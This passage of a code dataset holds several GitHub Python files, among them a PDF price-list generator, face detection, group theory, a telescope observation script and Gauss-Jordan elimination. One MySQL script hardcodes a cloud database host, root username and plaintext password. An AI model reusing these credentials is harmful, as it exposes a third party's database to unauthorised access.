the link and gets the\n        size from the image. The correct dimensions for\n        image are calculated based on the desired with or\n        height\"\"\"\n\n        try:\n            #Read image from link\n            img = utils.ImageReader(path)\n        except Exception as e:\n            logger.debug(e)\n            return ''\n\n        #Get Size\n        imgWidth, imgHeight = img.getSize()\n        #Detect if there height or width provided\n        if width and height == None:\n            ratio = float(imgHeight) / float(imgWidth)\n            new_height = ratio * width\n            new_width = width\n        elif height and width == None:\n            ratio = float(imgWidth) / float(imgHeight)\n            new_height = height\n            new_width = ratio * height\n            if max_width != 0 and new_width > max_width:\n                new_width = max_width\n                new_height = (float(imgHeight) / float(imgWidth)) * max_width\n\n        return Image(path, width=new_width, height=new_height)\n\n\nclass FabricPDF(object):\n\n    table_style = [('GRID', (0, 0), (-1,-1), 1, colors.CMYKColor(black=60)),\n                   ('VALIGN', (0,0), (-1,-1), 'MIDDLE'),\n                   ('FONT', (0,0), (-1,-1), 'Garuda'),\n                   ('TEXTCOLOR', (0,0), (-1,-1), colors.CMYKColor(black=60)),\n                   ('ALIGNMENT', (0,0), (-1,-1), 'LEFT'),\n                   ('ALIGNMENT', (2,0), (2,-1), 'CENTER'),\n                   ('PADDING', (0,0), (-1,-1), 0),\n                   ('FONTSIZE', (0,0),(-1,-1), 10)]\n\n    def __init__(self, fabrics=None, *args, **kwargs):\n\n        if fabrics:\n            self.fabrics = fabrics\n        else:\n            fabrics = Fabric.objects.filter(status='current')\n\n            self.fabrics = {}\n\n            for fabric in fabrics:\n                fabric.supplier = fabric.suppliers.all()[0]\n\n                try:\n                    self.fabrics[fabric.pattern.lower()].append(fabric)\n                except (AttributeError, KeyError):\n                    self.fabrics[fabric.pattern.lower()] = [fabric]\n\n    def create(self, filename=\"Fabrics.pdf\"):\n        doc = SimpleDocTemplate(filename,\n                                pagesize=A4,\n                                leftMargin=12,\n                                rightMargin=12,\n                                topMargin=12,\n                                bottomMargin=12)\n        stories = []\n\n        stories.append(self._create_section())\n        stories.append(PageBreak())\n\n        fabrics = {}\n        supplier = Supplier.objects.get(name__istartswith='crevin')\n        for fabric in Fabric.objects.filter(suppliers__name__istartswith='crevin'):\n            fabric.status = 'current'\n            fabric.save()\n\n            fabric.supplier = supplier\n            try:\n                fabrics[fabric.pattern.lower()].append(fabric)\n            except KeyError:\n                fabrics[fabric.pattern.lower()] = [fabric]\n\n        stories.append(self._create_section(fabrics=fabrics))\n        for story in stories:\n            story.hAlign = \"CENTER\"\n\n        doc.build(stories)\n\n    def _create_section(self, fabrics=None):\n\n        fabrics = fabrics or self.fabrics\n        data = [[self._prepare_text('Pattern'), self._prepare_text('Color')]]\n\n        keys = fabrics.keys()\n        keys.sort()\n\n        for pattern in keys:\n            supplier = fabrics[pattern][0].supplier\n            data.append([self._prepare_text(pattern.title(), alignment=TA_LEFT),\n                         self._create_color_section(fabrics[pattern])])\n\n\n\n\n        table = Table(data, colWidths=(200, 300), repeatRows=1)\n        table.setStyle(TableStyle([('GRID', (0, 0), (-1, -1), 1, colors.CMYKColor(black=60)),\n                                   ('VALIGN', (0, 0), (-1, -1), 'TOP'),\n                                   ('ALIGNMENT', (0, 0), (-1, -1), 'CENTER'),\n                                   ('ALIGNMENT', (0, 1), (0, -1), 'LEFT')]))\n\n        return table\n\n    def _create_color_section(self, fabrics):\n\n        data = []\n\n        for fabric in fabrics:\n\n            try:\n                data.append([self._get_image(fabric.image.generate_url(), width=100) if fabric.image else '',\n                             fabric.color.title(),\n                             self._calculate_grade(fabric)])\n            except ValueError as e:\n                logger.warn(e)\n                raise ValueError(\"{0} : {1}\".format(fabric.description, fabric.supplier.name))\n\n        table = Table(data, colWidths=(125, 125, 50))\n        table.setStyle(TableStyle([('ALIGNMENT', (-1, 0), (-1, -1), 'CENTER'),\n                                   ('VALIGN', (0, 0), (-1, -1), 'TOP'),\n                                   ('ALIGNMENT', (0, 0), (0, -1), 'LEFT')]))\n\n        return table\n\n    def _calculate_grade(self, fabric):\n        cost = fabric.cost\n\n        if 'Dellarobbia' in fabric.supplier.name:\n\n            if cost > 0:\n                cost += Decimal('10')\n\n                cost = math.ceil(cost)\n        elif 'crevin' in fabric.supplier.name.lower():\n\n            if cost > 0:\n                cost += Decimal('10')\n\n                cost = math.ceil(cost)\n        else:\n\n            if cost > 0:\n                cost += Decimal('5')\n\n                cost = math.ceil(cost)\n\n        if cost == 0 or cost == 'NA':\n            grade = 'NA'\n        elif 0 < cost <= 15 :\n            grade = 'A1'\n        elif cost <= 20:\n            grade = 'A2'\n        elif cost <= 25:\n            grade = 'A3'\n        elif cost <= 30:\n            grade = 'A4'\n        elif cost <= 35:\n            grade = 'A5'\n        elif cost <= 40:\n            grade = 'A6'\n        elif cost <= 45:\n            grade = 'A7'\n        elif cost <= 50:\n            grade = 'A8'\n        else:\n            raise ValueError(\"cost is {0} for {1}\".format(cost, fabric.description))\n\n\n        fabric.grade = grade\n        fabric.save()\n\n        return grade\n\n    def _prepare_text(self, description, font_size=9, alignment=TA_CENTER):\n\n        text = description if description else u\"\"\n        style = ParagraphStyle(name='Normal',\n                               alignment=alignment,\n                               fontName='Garuda',\n                               fontSize=font_size,\n                               textColor=colors.CMYKColor(black=60))\n        return Paragraph(text, style)\n\n    #helps change the size and maintain ratio\n    def _get_image(self, path, width=None, height=None, max_width=0, max_height=0):\n        \"\"\"Retrieves the image via the link and gets the\n        size from the image. The correct dimensions for\n        image are calculated based on the desired with or\n        height\"\"\"\n        try:\n            #Read image from link\n            img = utils.ImageReader(path)\n        except Exception as e:\n            logger.debug(e)\n            return None\n\n        #Get Size\n        imgWidth, imgHeight = img.getSize()\n        #Detect if there height or width provided\n        if width and height == None:\n            ratio = float(imgHeight) / float(imgWidth)\n            new_height = ratio * width\n            new_width = width\n        elif height and width == None:\n            ratio = float(imgWidth) / float(imgHeight)\n            new_height = height\n            new_width = ratio * height\n            if max_width != 0 and new_width > max_width:\n                new_width = max_width\n                new_height = (float(imgHeight) / float(imgWidth)) * max_width\n\n        return Image(path, width=new_width, height=new_height)\n\n\nif __name__ == \"__main__\":\n\n    directory = sys.argv[1]\n\n    fabrics = {}\n    data = {}\n    f_list = []\n\n    if not os.path.exists(directory):\n        os.makedirs(directory)\n\n    def create_pricelist(filename):\n        pdf = PricelistPDF()\n        pdf.create(filename)\n\n    def create_fabriclist(filename, fabrics):\n        f_pdf = FabricPDF(fabrics=None)\n        f_pdf.create(filename)\n\n    p1 = multiprocessing.Process(target=create_pricelist, args=(directory + '/Pricelist.pdf', ))\n    p1.start()\n    #p2 = multiprocessing.Process(target=create_fabriclist, args=(directory + '/Fabrics.pdf', fabrics ))\n    #p2.start()\n","repo_name":"charliephairoj/backend","sub_path":"products/pricelist-export.py","file_name":"pricelist-export.py","file_ext":"py","file_size_in_byte":24521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"28386938343","text":"def deleteMiddleNode(LL, node):\n\t\"\"\" Deletes middle node (i.e. a node that is not head or tail) of a linked list\n\n\tArgs:\n\t\tLL: Linked list object\n\t\tnode: Linked list node object\n\n\tReturns:\n\t\tDoes not return anything\n\n\tAssumptions:\n\t\t1. LL is a LinkedList object\n\t\t2. LL contains pointer to head node of the linked list\n\t\t3. node is a LinkedListNode object\n\n\tComplexity Analysis:\n\t\tTime Complexity: O(N)\n\t\tSpace Complexity: O(1)\n\n\t\"\"\"\n\n\tif LL.head == node:\n\t\tLL.head = LL.head.next\n\n\telse:\n\t\tcurr = LL.head\n\t\tprev = None\n\t\twhile curr:\n\t\t\tif curr == node:\n\t\t\t\tprev.next = curr.next\n\t\t\t\tbreak\n\t\t\tprev = curr\n\t\t\tcurr = curr.next\n\n\n\n# TESTING\nfrom linked_list import LinkedList \n\nLL = LinkedList()\nLL.add(0)\nLL.add(1)\nLL.add(2)\nLL.add(3)\nLL.add(4)\n\nnode = LL.head.next.next\n\nprint(LL)\ndeleteMiddleNode(LL, node)\nprint(LL)","repo_name":"prasannadate/Cracking-The-Coding-Interview","sub_path":"Chap2-Linked-Lists/03_deleteMiddleNode.py","file_name":"03_deleteMiddleNode.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"44735644510","text":"# In this we will use built-in haarcascade file to detect faces in an image\nimport cv2 as cv\n\nimg = cv.imread('Learning/Photos/group 1.jpg')\ncv.imshow(\"Group of 5\", img)\n\ngray = cv.cvtColor(img, cv.COLOR_BGR2GRAY)\ncv.imshow(\"Gray Lady\", gray)\n\nhaar_cascade = cv.CascadeClassifier(\n    'Learning/Face-Detect/haar_face.xml')  # Reading cascade file\n\nfaces_rect = haar_cascade.detectMultiScale(\n    gray, scaleFactor=1.1, minNeighbors=1)  # Getting the coordinates of face from the images\n# Changing the minNeighbors wil;l incerase the effectivity\n\nprint(f'No.of Face = {len(faces_rect)}')  # Printing no.of faces in image\n\nfor (x, y, w, h) in faces_rect:\n    # Drawing rectangle over the face\n    cv.rectangle(img, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\ncv.imshow(\"Detected Faces\", img)\n\ncv.waitKey(0)\n","repo_name":"Chaganti-Reddy/OpenCV-Learning","sub_path":"Face-Detect-Cascade/face-detect.py","file_name":"face-detect.py","file_ext":"py","file_size_in_byte":798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"41651691406","text":"\r\nfrom group import Group\r\nfrom cayley_tabler import cayley_tabler\r\n\nprint(\"ding\")\n\n\r\ndef direct_group_product(group1, group2):\r\n  cartesianProduct = []\r\n  for first in group1.set:\r\n      for second in group2.set:\r\n          pair = [first, second]\r\n          cartesianProduct.append(pair)\r\n\r\n  def compositeOperation(pair1, pair2):\r\n      return([group1.op(pair1[0], pair2[0]), group2.op(pair1[1], pair2[1])])\r\n\r\n  directProduct = Group(cartesianProduct, compositeOperation)\r\n  return(directProduct)\r\n\r\ndef xor(first, second):\r\n  if first == second:\r\n      return(1)\r\n  else:\r\n      return(2)\r\n  \r\ndef tri_rotate(first, second):\r\n  return((first+second)%3+1)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__mai__\":\r\n  z2 = Group([1, 2], xor)\r\n\r\n  unexplored = direct_group_product(direct_group_product(z2, z2), z2)\r\n  exploration = cayley_tabler(unexplored, True)\r\n  for line in exploration:\r\n      print(line)\r\nelif __name__ == \"__group_composer__\":\r\n  z3 = Group([1, 2, 3], tri_rotate)\r\n  triple = cayley_tabler(z3)\r\n  for row in triple:\r\n      print(row)\r\n      \r\n  z3xz3 = direct_group_product(z3, z3)\r\n  cross_tri = cayley_tabler(z3xz3, True)\r\n  for row in cross_tri:\r\n      print(row)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n","repo_name":"Word90Ninety/GROUPS","sub_path":"group_composer.py","file_name":"group_composer.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"29544192484","text":"#!/usr/bin/env python\n\nimport yaml\nfrom pathlib import Path\nfrom jsonschema import validate, validators\nfrom jsonschema.exceptions import ValidationError\n\npath = Path(__file__).parent.resolve()\nresolver = validators.RefResolver(\n    base_uri=f\"{path.as_uri()}/\",\n    referrer=True,\n)\n\nconfig_file = \"../../config.yaml\"\nprint(f\"Using config file: {config_file}\")\nwith open(config_file, \"r\") as stream:\n    try:\n        parse_config = yaml.safe_load(stream)\n        print(\"YAML parsed successfully\")\n        schema_file = \"../schema/schema.json\"\n        print(f\"Validating using schema file: {schema_file}\")\n        result = validate(\n            instance=parse_config,\n            schema={\"$ref\": schema_file},\n            resolver=resolver,\n        )\n        print(\"No validation errors\")\n    except yaml.YAMLError as exc:\n        print(exc)\n    except ValidationError as exc:\n        print(exc)\n","repo_name":"MrAlias/otel-schema","sub_path":"json_schema/python/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"}
+{"seq_id":"13864214591","text":"import ATATools\nfrom ATATools import ata_control, logger_defaults, ata_ephem\nimport atexit\nfrom SNAPobs import snap_dada, snap_if, snap_config\nimport numpy as np\nimport sys\nimport time\nimport datetime\nimport argparse\nimport logging\n\nimport os\nfrom shutil import copyfile\n\ndef maketimestamp():\n    tnow = list(datetime.datetime.now().timetuple())[:6]\n    tnow = [str(el) for el in tnow]\n    tnow = ['0'*(2 - len(el)) + el for el in tnow]\n    tnow = tnow[0] + \"-\" + tnow[1] + \"-\" + tnow[2] + \"-\" + tnow[3] + \":\" + tnow[4] + \":\" + tnow[5]\n    return tnow\n\nlogger = logger_defaults.getProgramLogger(\"observe\", loglevel=logging.INFO)\n\nconfigfile = open(sys.argv[1])\nOBS_CONFIG_DATA = configfile.read().split(\"\\n\")\nconfigfile.close()\n\n#config file should be formatted as such:\n#az\n#el\n#obs time in seconds\n#antennae\n#CFREQ\n#LO\n\nOBS_AZ = float(OBS_CONFIG_DATA[0])\nOBS_EL = float(OBS_CONFIG_DATA[1])\nOBS_LEN = float(OBS_CONFIG_DATA[2])\nANT_LIST = OBS_CONFIG_DATA[3].split(\",\")\nCFREQ = float(OBS_CONFIG_DATA[4])\nLO = OBS_CONFIG_DATA[5]\n\nANTLO_LIST = [ant + LO for ant in ANT_LIST]\n\nprint(\"Observation Details:\" + \"-\"*30)\nprint(\"Target:\\t AZ \", OBS_AZ, \"\\tEL \", OBS_EL)\nprint(\"T\\t\", OBS_LEN, \"s\")\nprint(\"CFREQ\\t\", CFREQ, \"MHz\\tLO \", LO)\nprint(\"ANTLO\\t\", \" \".join(ANTLO_LIST))\n\n\n\nos.system(\"killall ata_udpdb\")\n\nata_control.reserve_antennas(ANT_LIST)\natexit.register(ata_control.release_antennas, ANT_LIST, False)\n\nntries = 3\n\nfor i in range(ntries):\n    try:\n        ata_control.set_az_el(ANT_LIST, OBS_AZ, OBS_EL)\n        break\n    except ATATools.ata_rest.ATARestException as e:\n        print(\"Exception happened... trying again in a bit\")\n        time.sleep(5)\n        if i == ntries - 1:\n            raise e\n\n\nata_control.autotune(ANT_LIST)\nata_control.set_freq([CFREQ]*len(ANT_LIST), ANT_LIST, lo='a')\nsnap_if.tune_if_antslo(ANTLO_LIST)\n\nt = maketimestamp()\nos.mkdir(\"obs/\" + t + \"/\")\nf = open(\"obs/\" + t + \"/info.txt\", \"w\")\nf.write(sys.argv[1] + \"\\n\")\nf.close()\n\nutc = snap_dada.start_recording(ANTLO_LIST, OBS_LEN, acclen=120*40, disable_rfi=True, npolout=1)\n\n\n\n","repo_name":"gsingh-0-0-1/rfi_survey","sub_path":"pointobs.py","file_name":"pointobs.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"27514947851","text":"# import sys, pygame\n# pygame.init()\n#\n# size = width, height = 320, 240\n# speed = [2, 2]\n# black = 0, 0, 0\n#\n# screen = pygame.display.set_mode(size)\n# ball = pygame.image.load(\"ball.bmp\")\n# ballrect = ball.get_rect()\n#\n# while 1:\n#   for event in pygame.event.get():\n#     if event.type == pygame.QUIT:\n#       sys.exit()\n#\n#     ballrect = ballrect.move(speed)\n#     if ballrect.left < 0 or ballrect.right > width:\n#       speed[0] = -speed[0]\n#     if ballrect.top < 0 or ballrect.bottom > height:\n#       speed[1] = -speed[1]\n#\n#     screen.fill(black)\n#     screen.blit(ball, ballrect)\n#     pygame.display.flip()\n\n#!/usr/bin/python\n\nimport pygame\nfrom pygame.locals import *\n\ndef main():\n\t# Initialise screen\n\tpygame.init()\n\tscreen = pygame.display.set_mode((150, 50))\n\tpygame.display.set_caption('Basic Pygame program')\n\n\t# Fill background\n\tbackground = pygame.Surface(screen.get_size())\n\tbackground = background.convert()\n\tbackground.fill((250, 250, 250))\n\n\t# Display some text\n\tfont = pygame.font.Font(None, 36)\n\ttext = font.render(\"Hello There\", 1, (10, 10, 10))\n\ttextpos = text.get_rect()\n\ttextpos.centerx = background.get_rect().centerx\n\tbackground.blit(text, textpos)\n\n\t# Blit everything to the screen\n\tscreen.blit(background, (0, 0))\n\tpygame.display.flip()\n\n\t# Event loop\n\twhile 1:\n\t\tfor event in pygame.event.get():\n\t\t\tif event.type == QUIT:\n\t\t\t\treturn\n\n\t\tscreen.blit(background, (0, 0))\n\t\tpygame.display.flip()\n\n\nif __name__ == '__main__': main()\n","repo_name":"SuperShinyEyes/Hello-World","sub_path":"Python/pygame/pygame_example.py","file_name":"pygame_example.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"22412854354","text":"import threading\nimport time\nimport traceback\n\nimport db\nfrom datetime import datetime\n\n\ndef check():\n    while True:\n        try:\n            accounts = db.get_running_account()\n            for account in accounts:\n                now = datetime.now()\n                delta = now - account['last_modified_time']\n                print(\"账号{}最后更新时间是{}\".format(account['account'], account['last_modified_time']))\n                if delta.total_seconds() > 200:\n                    print(\"账号{},最后更新时间超过600秒,置为未运行状态\".format(account['account']))\n                    db.init_run_status(account['account'])\n            time.sleep(30)\n        except Exception:\n            print(traceback.format_exc())\n\n\nif __name__ == '__main__':\n    check()","repo_name":"wangjufeng1002/data-scraping","sub_path":"com/dangdang/xa/data-scraping/app/Check.py","file_name":"Check.py","file_ext":"py","file_size_in_byte":788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4882059883","text":"#-------------------------------------------------------------------------\n# AUTHOR: Kyle Just\n# FILENAME: preceptron.py\n# SPECIFICATION: A demonstration of a basic preceptron to learn a linearly separable dataset\n# FOR: CS 4210- Assignment #4\n# TIME SPENT: 20 minutes\n#-----------------------------------------------------------*/\n\n#IMPORTANT NOTE: YOU HAVE TO WORK WITH THE PYTHON LIBRARIES numpy AND pandas to complete this code.\n\n#importing some Python libraries\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.neural_network import MLPClassifier #pip install scikit-learn==0.18.rc2 if needed\nimport numpy as np\nimport pandas as pd\n\nn = [0.0001, 0.0005, 0.001, 0.005, 0.01, 0.05, 0.1, 0.5, 1.0]\nr = [True, False]\n\ndf = pd.read_csv('optdigits.tra', sep=',', header=None) #reading the data by using Pandas library\n\nX_training = np.array(df.values)[:,:64] #getting the first 64 fields to form the feature data for training\ny_training = np.array(df.values)[:,-1]  #getting the last field to form the class label for training\n\ndf = pd.read_csv('optdigits.tes', sep=',', header=None) #reading the data by using Pandas library\n\nX_test = np.array(df.values)[:,:64]    #getting the first 64 fields to form the feature data for test\ny_test = np.array(df.values)[:,-1]     #getting the last field to form the class label for test\n\nhighest_accuracy_preceptron = 0\nhighest_accuracy_MLP = 0\n\nfor rate_option in n: #iterates over n\n    for shuffle_option in r: #iterates over r\n        for algo in [\"Preceptron\", \"MLP\"]: #iterates over the algorithms\n\n            #Create a Neural Network classifier\n            if algo == \"Perceptron\":\n               clf = Perceptron(eta0=rate_option, shuffle=shuffle_option, max_iter=1000)    #use those hyperparameters: eta0 = learning rate, shuffle = shuffle the training data, max_iter=1000\n            else:\n               clf = MLPClassifier(activation='logistic', learning_rate_init=rate_option, shuffle=shuffle_option, max_iter=1000) #use those hyperparameters: activation='logistic', learning_rate_init = learning rate, hidden_layer_sizes = number of neurons in the ith hidden layer,\n            #                          shuffle = shuffle the training data, max_iter=1000\n            #Fit the Neural Network to the training data\n            clf.fit(X_training, y_training)\n\n            #make the classifier prediction for each test sample and start computing its accuracy\n            #hint: to iterate over two collections simultaneously with zip() Example:\n\n       \n            accuracy_counter = 0\n            for (x_testSample, y_testSample) in zip(X_test, y_test):\n                if clf.predict([x_testSample]) == y_testSample:\n                    accuracy_counter += 1\n            accuracy = accuracy_counter / len(X_test)\n\n            #check if the calculated accuracy is higher than the previously one calculated for each classifier. If so, update the highest accuracy\n            #and print it together with the network hyperparameters\n            if accuracy > highest_accuracy_preceptron and algo == \"Perceptron\":\n                highest_accuracy_preceptron = accuracy\n                print(\"Highest Perceptron accuracy so far: \" + str(highest_accuracy_preceptron) + \", Parameters: learning rate=\" + str(rate_option) + \", shuffle=\" + str(shuffle_option))\n            elif accuracy > highest_accuracy_MLP and algo == \"MLP\":\n                highest_accuracy_MLP = accuracy\n                print(\"Highest MLP accuracy so far: \" + str(highest_accuracy_MLP) + \", Parameters: learning rate=\" + str(rate_option) + \", shuffle=\" + str(shuffle_option))\n\n            \n\n\n\n\n\n\n\n\n\n\n","repo_name":"meap02/Assignment-4_CS4210-Machine-Learning-and-its-Applications","sub_path":"perceptron.py","file_name":"perceptron.py","file_ext":"py","file_size_in_byte":3622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"31101062262","text":"#!/usr/bin/env python\n\nimport rospy\n\nfrom std_msgs.msg import String\nfrom sensor_msgs.msg import Imu\nfrom geometry_msgs.msg import Pose\n\nimport numpy as np\nimport serial\nimport time\nimport math\n\n#Establish connection with arduino\ndata_stream = serial.Serial('/dev/ttyACM3', baudrate = 115200, timeout=0)\n\n#Timing variables\nstart_time = 0\nglobal_start = 0\nfirst = True\n\n#Empty variables to store the distances and stuff\nheading = 0.0\ndistance_traveled = 0.0\nx = 0.0\ny = 0.0\n\n#Couple of variables for the delimiter based serial sampling that may or may not be necessary\ndatum = \"\"\nappend = False\ndata_found = False\n\ndef on_callback(data):\n    global global_start\n    global start_time\n    global first\n    global heading\n\n    #Establish a true start time\n    if first:\n        start_time = rospy.get_time()\n        global_start = rospy.get_time()\n        first = False\n    \n    global data_stream\n    global distance_traveled\n\n    global x\n    global y\n\n    global datum\n    global append\n    global data_found\n\n    #Get the time\n    dt = rospy.get_time() - start_time\n    start_time = rospy.get_time()\n\n    #Loop to read one full datum, between { and }\n    while 1:\n        incoming_char = data_stream.read() #Read a single byte\n\n        if append: #We only want to append starting after {\n            if incoming_char == '}': #Exit condition\n                \n                #Obtain the incremental distance, dd\n                dist = float(datum)\n                dd = distance_traveled - dist\n                distance_traveled = dist\n\n                #Reset the datum, reset append variable, and get out of the loop\n                datum = \"\"\n                append = False\n                break\n            else: #Just append if we haven't reached exit condition\n                datum += incoming_char\n\n        if (incoming_char=='{'): #sampling start condition simply set append to true\n            append = True\n\n    yaw_rate = data.angular_velocity.z + .01 #This is hacky. Calibrate this thing for real later.\n    heading += yaw_rate * dt\n\n    #If dd is zero, just don't even bother recomputing.\n    if dd != 0:\n        x += dd * np.sin(heading)\n        y += dd * np.cos(heading)\n    \n    #Package the data into a readable format and publish on the topic\n    p = Pose()\n\n    p.position.x = x; p.position.y = y; p.position.z = 0.0\n\n    p.orientation.x = data.orientation.x\n    p.orientation.y = data.orientation.y\n    p.orientation.z = data.orientation.z\n    p.orientation.w = data.orientation.w\n\n    pub.publish(p)\n\n    #Clear out any residual values.\n    #We want only values that come in during the time of reading.\n    data_stream.flushInput()\n\ndef listener():\n    rospy.Subscriber('imu', Imu, on_callback)\n\n    global start_time\n    global global_start\n\n    global_start = rospy.get_time()\n    start_time = rospy.get_time()\n    rospy.spin()\n\nif __name__ == '__main__':\n    #Insert a wait because things don't seem to work if proper nodes don't exist at time of calling listener()\n    time.sleep(30)\n    print('Pose Publisher is Active.')\n\n    #Set up publisher\n    pub = rospy.Publisher('pose', Pose, queue_size = 1)\n    rospy.init_node('track_wheel_pose', anonymous = True) #Don't actually know what this is/if required.\n\n    listener()","repo_name":"adityanarayanan03/track_wheel_localization","sub_path":"src/compute_pose.py","file_name":"compute_pose.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8703589466","text":"class Y:\n    def __init__(self, data):\n        self.data = data\n        self.leng = len(data)\n        self.start = 0\n\n    def __iter__(self):\n        for item in self.data:\n            yield item\n\nif __name__ == \"__main__\":\n\n    y = Y([1,2,3,4,5])\n    for i in y:\n        print(i)\n        ","repo_name":"spencerzhang91/torchlight","sub_path":"test_iter_.py","file_name":"test_iter_.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"19671314047","text":"from flask import Flask, render_template, request, url_for\nfrom flask.ext.mail import Message, Mail\nfrom os import environ\n\n####### CONFIG\nTO_EMAIL = environ.get('TO_EMAIL')\nMAIL_SERVER = environ.get('MAIL_SERVER')\nMAIL_PORT = environ.get('MAIL_PORT')\nMAIL_USERNAME = environ.get('MAIL_USERNAME')\nMAIL_PASSWORD = environ.get('MAIL_PASSWORD')\nMAIL_USE_TLS = True\n####### END CONFIG\n\n####### INIT\napp = Flask(__name__)\napp.config.from_object(__name__)\nmail = Mail(app)\n####### END INIT\n\n####### VIEWS\n@app.route('/')\n@app.route('/index')\ndef index():\n    \"\"\"Home page\"\"\"\n    return render_template('index.html',\n                           to_email=TO_EMAIL,\n                           from_email=MAIL_USERNAME,\n                           target_url=url_for('wt_feed', _external=True))\n\n@app.route(\"/wt_feed\", methods=['POST'])\ndef wt_feed():\n    \"\"\"Webhook receiver for WattTime data\"\"\"\n    data = request.get_json()\n    msg = Message('WattTime data update',\n                  sender=MAIL_USERNAME,\n                  recipients=[TO_EMAIL])\n    msg.body = render_template('email.txt', **data['data'])\n    mail.send(msg)\n    return 'ok'\n####### END VIEWS\n\n####### MAIN\nif __name__ == '__main__':\n    app.run(debug=True)\n####### END MAIN\n","repo_name":"WattTime/watttime-webhook-demo","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"9468351177","text":"# 此程式沒有對無解和無限多組解作處理\ndef gaussElimination(matrix, n: int):\n    \n    def swapRow(a, b):\n        matrix[a], matrix[b] = matrix[b], matrix[a]\n    \n    def removeNegativeZero():\n        for i in range(len(matrix)):\n            for j in range(len(matrix[i])):\n                if abs(matrix[i][j]) < 0.000000001:\n                    matrix[i][j] = 0.0\n    \n    for i in range(n): # 控制橫向\n        maxIndex = i\n        for j in range(i, n): # 控制縱向\n            if abs(matrix[maxIndex][i]) < abs(matrix[j][i]): # 找出絕對值最大值，移到上層，用意是為了不要出現領導係數為0的狀況\n                maxIndex = j\n        swapRow(maxIndex, i)\n        val = matrix[i][i]\n        for j in range(len(matrix[i])): # 把領導係數變成1\n            matrix[i][j] /= val\n        for j in range(i+1, n): # 開始對下面列做消去\n            val = matrix[j][i]\n            for k in range(i, len(matrix[j])):\n                matrix[j][k] += matrix[i][k]*(-val)\n                \n\n    for i in range(n-2, -1, -1): # 處理上三角\n        for j in range(i, -1, -1):\n            val = matrix[j][i+1]\n            for k in range(i, len(matrix[i])): # 往上做消去\n                matrix[j][k] += matrix[i+1][k]*(-val)\n                \n    removeNegativeZero()\n    return matrix\n","repo_name":"tony11306/practice","sub_path":"Gauss-Jorden elimination.py","file_name":"Gauss-Jorden elimination.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26705871264","text":"import pymysql\n\n# root: HoronLee63163798\ntry:\n    con = pymysql.connect(host=\"sh-cynosdbmysql-grp-f8jglql6.sql.tencentcdb.com\", port=23958, user=\"root\", password=\"HoronLee63163798\", db=\"test\", charset=\"utf8\")\n    # 获取游标对象\n    cursor = con.cursor(pymysql.cursors.DictCursor)\n    print(\"连接成功\")\n    sql = \"\"\"\n    CREATE TABLE if not exists students(\n        pNum varchar(16) primary key,\n        pName varchar(16),\n        pGender varchar(8),\n        pAge int\n    );\n    \"\"\"\n    # 使用游标执行SQL语句\n    cursor.execute(sql)\n    cursor.execute(\"INSERT INTO students(pNum, pName, pGender, pAge) VALUES('3', 'LiHaoRan', 'male', 20);\")\n    cursor.execute(\"INSERT INTO students(pNum, pName, pGender, pAge) VALUES('4', 'WangZheng', 'male', 18);\")\n    list = cursor.execute(\"SELECT pNum, pName, pGender, pAge FROM students;\")\n    print(\"记录条数：\" + str(list) + \"条\")\n    # 使用commit提交\n    con.commit()\n    # 释放资源\n    cursor.close()\n    con.close()\nexcept Exception as err:\n    print(err)\n","repo_name":"HoronLee/PythonStudyFirst","sub_path":"Study/normal/数据库/mysql/sql写入.py","file_name":"sql写入.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"71932742136","text":"import os\nimport time\nfrom watchdog.observers import Observer\nfrom watchdog.events import FileSystemEventHandler\nfrom pathlib import Path\nimport shutil\n\n\nroot = Path(__file__).parent\nsrc = root / 'src'\nchrome = root / '.chrome'\nfirefox = root / '.firefox'\n\nfirefox.mkdir(parents=True, exist_ok=True)\nchrome.mkdir(parents=True, exist_ok=True)\n\ndef copy(source):\n    if source.name.startswith('firefox_'):\n        shutil.copy2(source, firefox / source.name[8:])\n\n    elif source.name.startswith('chrome_'):\n        shutil.copy2(source, chrome / source.name[7:])\n\n    else:\n        shutil.copy2(source, firefox / source.name)\n        shutil.copy2(source, chrome / source.name)\n\ndef delete(source):\n    if source.name.startswith('firefox_'):\n        os.remove(firefox / source.name[8:])\n\n    elif source.name.startswith('chrome_'):\n        os.remove(chrome / source.name[7:])\n\n    else:\n        os.remove(firefox / source.name)\n        os.remove(chrome / source.name)\n\ndef rename(source, destination):\n    delete(source)\n    copy(destination)\n\nclass EventHandler(FileSystemEventHandler):\n    def 